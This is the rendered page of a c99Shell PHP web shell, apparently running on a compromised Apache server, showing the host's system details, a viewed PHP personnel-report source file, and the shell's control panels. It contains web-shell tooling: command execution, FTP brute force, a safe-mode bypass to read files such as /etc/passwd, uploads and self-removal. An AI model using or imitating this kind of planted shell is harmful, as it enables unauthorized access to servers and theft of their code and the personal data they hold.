!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.89 GB of 127.8 GB (39.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     printSetPsDeptHTML.php (2.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clspsdept.php";
include_once 
"getPrefix.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oPSd = new psdept($oC);
$oPSd2 = new psdept($oC);
$maxdocgroup=$oDP->SearchMaxDocGroup();
?>
<html>
<head>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<title>รายงานข้อมูลบุคลากรในหน่วยงานรองทั้งหมด</title>
<body><br>
        <table width="95%" align="center">
            <tr align="center">
            <td align="center" colspan="2">
                <table width="100%"   align="center"  border="1" cellpadding="0" cellspacing="0" bordercolor="#000000" style="border-collapse:collapse">
                     <tr><td colspan="8" align="center"  height="24"><font size="2" ><b>ข้อมูลบุคลากรในหน่วยงานรองทั้งหมด</b></font></td></tr>
                  <tr align="center" > 
            <td width="5%" height="35" align="center"><font size="2" ><b>#</b></font></td>
            <td width="9%" align="center"><font size="2" ><b>
              คำนำหน้า<br>ชื่อ</b></font></td>
            <td width="21%" align="center"><font size="2" ><b>ชื่อ</b></font></td>      
            <td width="23%" align="center"><font size="2" ><b>นามสกุล</b></font></td>
              <td  width="21%" align="center"><font size="2" ><b>หน่วยงานรอง</b></font></td>
          </tr>
        <? 
                  $oDP
->SearchBydeptDateDocGroup($maxdocgroup);
                while(
$oDP->GetRecord()){
                    
$i=0;    
                    
$oPS->SearchByDeptId2($oDP->deptId);
                    while(
$oPS->GetRecord()){
                                if(
$oPSd->SearchCountBypersonId($oPS->personId,$maxdocgroup)!=0){
                                if(
$i==0){
            
?>
            <tr>
            <td colspan="8" height="22" bgcolor="#FFFFFF">&nbsp;&nbsp;<strong>หน่วยงานหลัก :: <? echo $oDP->deptName?></strong></td></tr>
            <? }?>    
            <tr>
            <td align="center" ><?  echo a2th($i+1);?></td> 
            <td>&nbsp;<? echo GetPrefix($oPS->prefixId); ?></td>
            <td height="22" >&nbsp;<? echo $oPS->fName;  ?></td>
            <td>&nbsp;<? echo $oPS->lName;?></td>
            <td><?  $oPSd2->SearchBypersonIddeptIddocGroup($oPS->personId,$maxdocgroup);
                            while(
$oPSd2->GetRecord()){
                                    echo 
'&nbsp;-&nbsp;'.a2th($oPSd2->deptName).'<br>';
                            }
            
?></td>
            </tr>
            <? $i++;} }
            }
?>
              </table>
            </td></tr>
      <tr><td height="958">&nbsp;</td></tr>    
      <tr>
        <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">วันที่พิมพ์ : <?php echo abbreDate2((date('Y')+543).'-'.date('m').'-'.date('d')).'&nbsp;'.a2th(date('H:i:s'));?></font></td>
    </tr>
            </table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0155 ]--